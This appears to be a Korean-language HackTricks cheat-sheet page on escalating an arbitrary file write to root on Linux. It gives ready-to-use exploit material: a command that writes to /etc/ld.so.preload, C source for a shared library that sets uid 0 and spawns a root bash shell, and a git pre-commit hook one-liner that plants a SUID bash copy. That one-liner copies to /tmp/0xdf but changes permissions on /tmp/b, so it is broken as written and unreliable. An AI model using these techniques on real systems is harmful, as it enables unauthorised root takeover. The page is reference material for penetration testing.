Arbitrary File Write to Root

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

• 구독 요금제를 확인하세요!

• 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

• HackTricks 및 HackTricks Cloud 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

/etc/ld.so.preload

이 파일은 LD_PRELOAD 환경 변수와 유사하게 작동하지만 SUID 이진 파일에서도 작동합니다. 만약 이 파일을 생성하거나 수정할 수 있다면, 각 실행된 이진 파일과 함께 로드될 라이브러리 경로를 추가할 수 있습니다.

예시: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git 훅

Git 훅은 커밋이 생성될 때 또는 병합될 때와 같은 git 저장소의 다양한 이벤트에서 실행되는 스크립트입니다. 따라서 특권 스크립트 또는 사용자가 이러한 작업을 자주 수행하고 .git 폴더에 쓸 수 있는 경우, 이를 사용하여 권한 상승을 할 수 있습니다.

예를 들어, git 저장소의 **.git/hooks**에 스크립트를 생성하여 새로운 커밋이 생성될 때 항상 실행되도록 할 수 있습니다:

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

Cron & 시간 파일

할 일

서비스 및 소켓 파일

할 일

binfmt_misc

/proc/sys/fs/binfmt_misc에 위치한 파일은 어떤 이진 파일이 어떤 유형의 파일을 실행해야 하는지를 나타냅니다. 할 일: 일반 파일 유형이 열릴 때 역쉘을 실행하도록 악용하는 요구 사항을 확인하십시오.

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

• 구독 요금제를 확인하세요!

• 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

• HackTricks 및 HackTricks Cloud 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.